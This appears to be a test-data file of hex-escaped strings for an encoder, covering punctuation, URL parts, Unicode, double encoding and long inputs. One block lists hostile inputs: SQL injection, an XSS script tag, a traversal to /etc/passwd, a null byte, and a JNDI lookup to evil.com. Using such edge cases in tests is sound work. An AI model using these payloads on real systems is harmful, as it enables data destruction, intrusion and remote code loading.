abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
0123456789
()\x5B\x5D\x7B\x7D\x3C\x3E
\x2B-*\x2F\x3D\x25\x5E
.\x2C!\x3F\x3A\x3B'\x22
\x40\x23\x24\x26_~\x60\x7C\x5C

hello\x20world
test\x20string
simple-test

path\x2Fto\x2Fresource
query\x3Fparam\x3Dvalue
anchor\x23section
email\x40example.com
array\x5B0\x5D
protocol\x3A\x2F\x2Fhost

key\x3Dvalue\x26another\x3Dtest
first\x3Bsecond\x3Bthird
item\x2Citem\x2Citem
name\x3Avalue
path\x2Fto\x2Ffile.txt

Hello\x20World!
What's\x20happening\x3F
100\x25\x20complete
\x2450\x20price\x20tag
Amount\x3A\x20\x24100
It's\x20a\x20test\x20(with\x20parentheses)
Star\x20*\x20asterisk
Plus\x20\x2B\x20sign

100\x25
\x3Chtml\x3E
data\x26more\x26data
file\x20path\x20with\x20spaces
parameter\x3Dvalue\x26other\x3Ddata

caf\xC3\xA9
na\xC3\xAFve
se\xC3\xB1or
\xE6\x97\xA5\xE6\x9C\xAC\xE8\xAA\x9E
\xF0\x9F\x9A\x80
r\xC3\xA9sum\xC3\xA9
Z\xC3\xBCrich

\x2F
\x2F\x2F
\x2F\x2F\x2F
\x3F
\x26
\x3D
\x25
\x25\x25

\x20
\x20\x20\x20\x20

'\x3B\x20DROP\x20TABLE\x20users--
\x3Cscript\x3Ealert('xss')\x3C\x2Fscript\x3E
..\x2F..\x2F..\x2Fetc\x2Fpasswd
\x2500null
\x24\x7Bjndi\x3Aldap\x3A\x2F\x2Fevil.com\x7D

this-is-a-very-long-string-that-might-be-used-to-test-buffer-handling-and-performance-characteristics-of-the-encoder
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

user\x40domain.com\x3Fredirect\x3Dhttps\x3A\x2F\x2Fexample.com\x2Fpath\x3Fquery\x3Dvalue\x26other\x3Ddata
https\x3A\x2F\x2Fexample.com\x2Fsearch\x3Fq\x3Dhello\x20world\x26lang\x3Den\x26sort\x3Ddate
\x2Fapi\x2Fv1\x2Fusers\x3Ffilter\x5Bname\x5D\x3DJohn\x20Doe\x26include\x3Dposts\x2Ccomments

hello\x2520world
100\x2525
caf\x25C3\x25A9

line1\x5Cnline2
col1\x5Ctcol2

~tilde
\x60backtick
\x5Ecaret
\x7Bcurly\x7D
\x7Cpipe\x7C

\x22double\x20quotes\x22
'single\x20quotes'
it's
\x22mixed\x20'quotes'\x20test\x22

2\x2B2\x3D4
x\x5E2
\x24100
\xE2\x82\xAC50
\xC2\xA330
\xC2\xA51000

\x2Fusers\x2F123\x2Fposts\x2F456
\x2Fsearch\x3Fq\x3Dtest\x2Bquery
\x2Fpath\x2Fto\x2Fresource.html\x3Fparam1\x3Dvalue1\x26param2\x3Dvalue2
http\x3A\x2F\x2Fexample.com\x3A8080\x2Fpath
ftp\x3A\x2F\x2Ffiles.example.com\x2Fdocument.pdf

!!!
\x3F\x3F\x3F
...
---
___
\x3D\x3D\x3D

(parentheses)
\x5Bsquare\x20brackets\x5D
\x7Bcurly\x20braces\x7D
\x3Cangle\x20brackets\x3E

\x5Cr\x5Cn
\x5Ct\x5Ct\x5Ct
\x5C0

\x252520
\x25253A
\x25252F
